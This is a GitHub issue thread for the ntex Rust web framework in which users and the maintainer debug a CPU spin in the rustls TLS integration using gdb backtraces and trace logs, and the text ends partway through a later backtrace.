Comments (48)
let's keep open for now. I want to do more testing
from ntex.
I see what is the problem, will try to fix this weekend.
from ntex.
you can attach gdb to existing process
from ntex.
Can you log requests when it's happening ? I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it. The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
I use ntex on a single core VPS running Ubuntu 22.04. I'll try with openssl.
from ntex.
ntex-h2 uses only codec from h2, protocol control plain is different. but we need to try
to reproduce the problem
from ntex.
I released ntex-tls v0.3.3, it may fix the problem, but I am not sure. it is hard to fix without way to reproduce
from ntex.
Is the issue still ongoing?
before formal notification, it should be...
from ntex.
don't use ntex rustls integration, it is completely broken and needs to be rewritten.
from ntex.
How can I support the HTTP/2 protocol when using OpenSSL?
here is example of configuration
ntex/ntex/tests/http_openssl.rs
Line 34 in 90cdab9
from ntex.
master should work properly
from ntex.
could you attach gdb and check where is tight loop?
from ntex.
there is not enough info to check this issue
from ntex.
I have attached the server process to gdb, and waiting it to run into this state again. This has happened several times before.
from ntex.
(gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
from ntex.
(gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
from ntex.
The source code is at:
https://github.com/clia/blog-server/blob/main/src/main.rs
from ntex.
When I attached gdb to the process, the CPU consumption dropped.
from ntex.
The cause event logs are:
2023-03-22T10:59:39.896459Z TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/ioref.rs:62 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.291682Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291866Z TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291967Z TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:54547, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292088Z TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292125Z TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292136Z TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/lib.rs:392 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292139Z TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:111 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292151Z TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292506Z TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/worker.rs:475 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.292617Z TRACE mio::poll: registering event source with poller: token=Token(838860816), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.4/src/poll.rs:521 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293362Z TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: becc9505728899a23df7bbab93db6dccd236833e4206a57b3f9688a6cd4eff74, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((7777772e6261696c6f672e636e, DnsName("www.bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:441 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293553Z TRACE rustls::server::server_conn: sni Some(DnsName("www.bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:126 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293561Z TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293564Z TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293567Z TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293595Z DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:361 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293653Z TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:79 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293656Z TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:80 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293700Z TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 8786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401, session_id: 5d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103038786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401205d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:348 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294894Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294911Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.295005Z TRACE ntex_tokio::io: flushed 4451 bytes
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-tokio-0.1.3/src/io.rs:347 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392896Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392990Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:18:52.943114Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)
from ntex.
i cannot say where is the bug. could you get backtrace for all threads in gdb.
from ntex.
'''
Thread 5 (Thread 0x7f974b93d640 (LWP 158448) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x000055c5ae9937e5 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:61
#2 0x000055c5ae984749 in std::sys_common::thread_parker::futex::Parker::park () at library/std/src/sys_common/thread_parker/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:929
#4 0x000055c5ae96bb36 in futures_timer::native::global::run ()
#5 0x000055c5ae96cb22 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h459f95d3ca6f4546E.llvm.3192252997389974420 ()
#6 0x000055c5ae96c2e4 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#8 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#11 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 4 (Thread 0x7f974bb3e640 (LWP 158436) "ntex-server acc"):
#0 0x00007f974c50afde in epoll_wait (epfd=12, events=0x55c5b0632bc0, maxevents=1000, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae84474e in polling::epoll::Poller::wait ()
#2 0x000055c5ae844f40 in polling::Poller::wait ()
#3 0x000055c5ae798c9c in ntex::server::accept::Accept::poll ()
#4 0x000055c5ae7a9e39 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#5 0x000055c5ae7b43ed in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#6 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#7 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#8 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#9 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#10 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f974bd3f640 (LWP 158435) "ntex-rt:worker:"):
#0 0x000055c5ae8a3750 in rustls::conn::CommonState::current_io_state ()
#1 0x000055c5ae5c7817 in rustls::conn::ConnectionCommon::process_new_packets ()
#2 0x000055c5ae5c6dea in rustls::conn::ConnectionCommon::complete_io ()
#3 0x000055c5ae58d09f in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#4 0x000055c5ae589fc9 in ZN97$LT$core..future..from_generator..GenFuture$LT$T$GT$$u20$as$u20$core..future..future..Future$GT$4poll17h3642cc92de9f47adE.llvm.5691619650614991412 ()
#5 0x000055c5ae599054 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x000055c5ae58d77c in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#7 0x000055c5ae56eedb in tokio::runtime::task::harness::Harness<T,S>::poll ()
#8 0x000055c5ae93d9a1 in std::thread::local::LocalKey::with ()
#9 0x000055c5ae956e55 in tokio::task::local::LocalSet::tick ()
#10 0x000055c5ae928b6e in std::thread::local::LocalKey::with ()
#11 0x000055c5ae92f0a6 in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#12 0x000055c5ae929510 in std::thread::local::LocalKey::with ()
#13 0x000055c5ae9285c1 in tokio::runtime::scheduler::current_thread::Context::enter ()
#14 0x000055c5ae930834 in tokio::macros::scoped_tls::ScopedKey::set ()
#15 0x000055c5ae9282f4 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#16 0x000055c5ae92edd7 in tokio::runtime::Runtime::block_on ()
#17 0x000055c5ae92bd32 in ntex_rt::tokio::block_on ()
#18 0x000055c5ae923e30 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#19 0x000055c5ae926813 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#20 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#21 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#22 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#23 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#24 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f974bff6640 (LWP 158434) "blog-server"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x000055c5ae9937e5 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:61
#2 0x000055c5ae984749 in std::sys_common::thread_parker::futex::Parker::park () at library/std/src/sys_common/thread_parker/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:929
#4 0x000055c5ae618ef3 in crossbeam_channel::context::Context::wait_until ()
#5 0x000055c5ae619052 in crossbeam_channel::context::Context::with::{{closure}} ()
#6 0x000055c5ae619aa3 in crossbeam_channel::flavors::array::Channel::recv ()
#7 0x000055c5ae5fc347 in crossbeam_channel::channel::Receiver::recv ()
#8 0x000055c5ae6121d5 in clia_tracing_appender::worker::Worker::work ()
#9 0x000055c5ae61cfa3 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#10 0x000055c5ae62b685 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#11 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#12 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#13 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#14 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#15 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 1 (Thread 0x7f974c3e0b80 (LWP 158432) "blog-server"):
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
'''
from ntex.
might be bug in rustls integration. could you upgrade to ntex-0.6
from ntex.
I upgraded to ntex-0.6, waited a week and it didn't happen again.
from ntex.
@fafhrd91 Btw, the TechEmpower benchmark, ntex-db and ntex-db-astd has problem on running. Will you have a look at it?
from ntex.
It appears again after about two weeks, at 2023-04-06 12:29:14, below is the stacktrace:
(gdb) thread apply all bt
Thread 5 (Thread 0x7f3adb476640 (LWP 1160) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596425a12d6 in futures_timer::native::global::run ()
#5 0x00005596425a2142 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h73bf98eabb61db2bE.llvm.7925374425771010588 ()
#6 0x00005596425a2a20 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#11 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 4 (Thread 0x7f3adb677640 (LWP 1137) "ntex-server acc"):
#0 0x00007f3adc045fde in epoll_wait (epfd=12, events=0x559643de8b20, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x0000559642451639 in polling::epoll::Poller::wait ()
#2 0x0000559642451def in polling::Poller::wait ()
#3 0x00005596423a241a in ntex::server::accept::Accept::poll ()
#4 0x0000559642393777 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h8156dd26440019e7E.llvm.6369983156334423651 ()
#5 0x00005596423a8e19 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#6 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#7 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#9 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#10 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f3adb878640 (LWP 1136) "ntex-rt:worker:"):
#0 0x00005596424c5140 in rustls::msgs::deframer::MessageDeframer::pop ()
#1 0x00005596421e2dd6 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x00005596421980c9 in ntex_io::buf::Stack::write_buf::{{closure}} ()
